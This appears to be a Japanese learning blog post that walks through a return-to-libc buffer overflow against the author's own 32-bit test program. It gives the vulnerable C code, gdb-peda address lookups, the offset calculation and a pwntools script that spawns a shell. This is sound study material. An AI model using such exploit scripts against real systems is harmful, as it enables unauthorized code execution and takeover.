バッファオーバーフローによる Return to libc をやってみる


はじめて学ぶバイナリ解析 に載っていた、バッファオーバーフローによる Return to libc をやる

勉強のために、本を読んで雰囲気を理解後、本を見ずに実践する

環境

# uname -a
Linux 29b342e56b09 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

ゴール

バッファオーバーフローを利用してlibcのsystem関数を実行、シェルを起動する

実践

system関数を呼んだ時のスタック状況を確認する

test.c

#include <stdio.h>

int main() {
    system("/bin/sh");
    return 0;
}

コンパイル、実行

# gcc -fno-stack-protector -m32 -o test.o test.c
# ./test.o
sh-4.2#
# gdb ./test.o
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /post/c/binaly/_debug/test.o...(no debugging symbols found)...done.
gdb-peda$ b system
Breakpoint 1 at 0x80482e0
gdb-peda$ r
Starting program: /post/c/binaly/_debug/./test.o
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xf7fc8000 --> 0x1c6d88
ECX: 0x94b3c8b3
EDX: 0xffffd7c4 --> 0xf7fc8000 --> 0x1c6d88
ESI: 0x0
EDI: 0x0
EBP: 0xffffd798 --> 0x0
ESP: 0xffffd77c --> 0x8048422 (<main+21>:       mov    eax,0x0)
EIP: 0xf7e3ffa0 (<system>:      push   edi)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e3ff9c <cancel_handler+220>:     pop    edi
   0xf7e3ff9d <cancel_handler+221>:     ret
   0xf7e3ff9e:  xchg   ax,ax
=> 0xf7e3ffa0 <system>: push   edi
   0xf7e3ffa1 <system+1>:       push   esi
   0xf7e3ffa2 <system+2>:       push   ebx
   0xf7e3ffa3 <system+3>:       mov    esi,DWORD PTR [esp+0x10]
   0xf7e3ffa7 <system+7>:       call   0xf7f427b5 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xffffd77c --> 0x8048422 (<main+21>:      mov    eax,0x0)
0004| 0xffffd780 --> 0x80484c4 ("/bin/sh")
0008| 0xffffd784 --> 0xc000
0012| 0xffffd788 --> 0x804843b (<__libc_csu_init+11>:   add    ebx,0x1bc5)
0016| 0xffffd78c --> 0xf7fc8000 --> 0x1c6d88
0020| 0xffffd790 --> 0x8048430 (<__libc_csu_init>:      push   ebp)
0024| 0xffffd794 --> 0x0
0028| 0xffffd798 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e3ffa0 in system () from /lib/libc.so.6
Missing separate debuginfos, use: debuginfo-install glibc-2.17-317.el7.i686

結果

SPにsystem関数からの戻りアドレス4バイト、後ろにsystem関数の引数アドレス4バイトが積まれている

=> つまり system関数を実行するには スタックに適当な値、system関数の引数を積んでおく 必要があるはず。スタックの偽装とでも言うのかな

バッファオーバーフロー脆弱性のあるソースコード

a.c

#include <stdio.h>

void vuln() {
    char buf[32];
    printf("入力\n");
    scanf("%[^\n]", buf);
}

int main() {
    vuln();
    printf("正常終了\n");
    return 0;
}

コンパイル、実行

# gcc -fno-stack-protector -m32 -o a.o a.c
# ./a.o
入力
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
正常終了
# ./a.o
入力
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

バッファオーバーフローを利用してsystem関数を呼び出す

必要な情報を集める

  1. system関数のアドレス

    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0xf7e3ffa0 <system>
    
  2. main関数への戻りアドレスを入れるメモリ番地とインプットのオフセット

    戻り番地のアドレス : 0xffffd77c

    インプットのアドレス: 0xffffd750

    オフセット: 44

  3. system関数に渡す引数のアドレス(シェルを起動したいので /bin/sh を探す)

    gdb-peda$ find /bin/sh
    Searching for '/bin/sh' in: None ranges
    Found 1 results, display max 1 items:
    libc : 0xf7f81115 ("/bin/sh")
    

exploit.py

from pwn import *

p = process("./a.o")

# オフセット: 44
# system関数アドレス: 0xf7e3ffa0
# 適当なアドレス分のオフセット: 4
# system関数の引数: 0xf7f81115
p.sendline("A"*44 + "\xa0\xff\xe3\xf7" + "A"*4 + "\x15\x11\xf8\xf7")

p.interactive()

実行

# python3 ./exploit.py
[+] Starting local process './a.o': pid 2455
[*] Switching to interactive mode
入力
$ ls
a.c  exploit.py           peda-session-test.o.txt  test.o
a.o  peda-session-a.o.txt  test.c
$ id
uid=0(root) gid=0(root) groups=0(root)

無事、シェルが起動

感想

本は初学者向けの内容となっていて、とても読みやすく勉強になった。

gdb辛いって思っていたけど、gdb-pedaの存在を知ってとても作業が捗った。

理由はわからないけど、64bitにコンパイルした実行ファイルだとsystem関数の引数がスタックに乗らず完了できなかった。

コンピュータの知識が乏しく64bitと32bitの違いがわからない。そのうち解るようになることを自分に期待!